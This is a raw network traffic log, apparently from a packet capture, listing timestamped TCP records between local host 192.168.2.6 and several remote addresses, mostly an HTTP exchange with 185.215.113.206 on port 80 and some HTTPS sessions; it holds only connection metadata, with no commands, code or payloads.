Oct 30, 2024 04:34:43.531984091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.531990051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532017946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532048941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532320976 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532370090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532371998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532382965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532401085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532413960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532447100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532447100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532593966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532607079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532624006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532634974 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532675028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532675028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532715082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532912016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532959938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.532968044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.532980919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533025980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533060074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533071995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533081055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533093929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533104897 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533152103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533152103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533220053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533231020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533241987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533253908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533262968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533269882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533276081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533291101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533329010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533329010 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533871889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533888102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533899069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533910036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.533915997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533953905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.533953905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.558671951 CET	51069	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.558753014 CET	51067	443	192.168.2.6	204.79.197.219
Oct 30, 2024 04:34:43.570198059 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.574100971 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.574112892 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.574508905 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.575409889 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.575475931 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.577435970 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.577516079 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.577559948 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.586646080 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.590286016 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.590293884 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.591187954 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.591242075 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.591691017 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.591746092 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.591870070 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.591875076 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.592190981 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.592221022 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.592298031 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.592308998 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.592427015 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.592489004 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:43.593077898 CET	51070	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:43.593082905 CET	443	51070	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:43.620830059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.620846987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.620858908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.620871067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.620906115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.620939016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.620990992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621012926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621022940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621038914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.621076107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.621114969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621126890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621138096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.621165991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.621196032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.654788017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654805899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654817104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654867887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.654889107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654901981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654912949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.654947996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.654947996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.654988050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.654999971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655044079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655109882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655136108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655145884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655183077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655215025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655261040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655278921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655355930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655399084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655411959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655421972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655451059 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655451059 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655484915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655531883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655570030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655580997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655616045 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655648947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655663013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655679941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655725956 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655862093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655872107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655906916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.655911922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655947924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.655987978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656001091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656013012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656044960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656078100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656285048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656296015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656307936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656333923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656361103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656402111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656414032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656465054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656472921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656486988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656497002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656517982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656549931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656707048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656749964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656759977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656763077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656805038 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.656841040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656852961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.656893015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.657040119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.657074928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.657085896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.657118082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.657144070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.657150030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.657165051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.657193899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.657226086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.702495098 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.706243992 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.706279039 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.707540989 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.707551956 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.744240046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744265079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744277000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744319916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.744374990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.744405985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744437933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744450092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744455099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.744488001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744488001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.744501114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.744529009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.744560957 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.748826027 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.750066042 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.750118017 CET	443	51072	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.750185013 CET	51072	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.769205093 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.769217014 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.769283056 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.769536972 CET	51080	443	192.168.2.6	23.198.7.176
Oct 30, 2024 04:34:43.769546986 CET	443	51080	23.198.7.176	192.168.2.6
Oct 30, 2024 04:34:43.770900965 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.770920992 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.770982027 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.771249056 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.771260023 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.772495031 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.777847052 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.777879000 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.778039932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778053045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778070927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778083086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778095961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778130054 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778147936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778150082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778161049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778177977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778204918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778333902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778342962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778358936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778393984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778393984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778403997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778481960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778492928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778527021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778556108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778575897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778625011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778671026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778682947 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778728008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778762102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778779030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778794050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778824091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778856039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778898001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778908014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.778956890 CET	51075	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.778958082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.778975010 CET	443	51075	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.779025078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779097080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779109955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779120922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779156923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779191017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779191971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779246092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779248953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779262066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779305935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779357910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779411077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779468060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779479980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779490948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779521942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779555082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779572010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779607058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779618979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779630899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779684067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779684067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779717922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779728889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779740095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779772997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779772997 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779788017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779799938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779810905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779820919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.779836893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779848099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.779872894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.780205011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.780206919 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.780210972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.780255079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.780265093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.780277014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.780313969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.828489065 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.828900099 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.828913927 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.829401016 CET	51077	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.829405069 CET	443	51077	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.835031986 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.835079908 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.835138083 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.835305929 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.835319042 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.835334063 CET	51073	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.835340023 CET	443	51073	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.837892056 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.837924004 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.838035107 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.838197947 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.838208914 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.867479086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867532969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.867582083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867592096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867604971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867654085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.867654085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.867934942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867944956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.867950916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.868000984 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.868093967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.868105888 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.868119001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.868138075 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.868166924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.874392033 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.874819994 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.874840975 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.875344038 CET	51076	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:43.875349045 CET	443	51076	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:43.892177105 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.893009901 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.893040895 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.893158913 CET	443	51071	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:43.893209934 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.893227100 CET	51071	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:43.901388884 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901412964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901434898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901447058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901449919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901477098 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901501894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901629925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901689053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901700020 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901732922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:43.901777983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901794910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901806116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:43.901818991 CET	80	50987	185.215.113.206	192.168.2.6
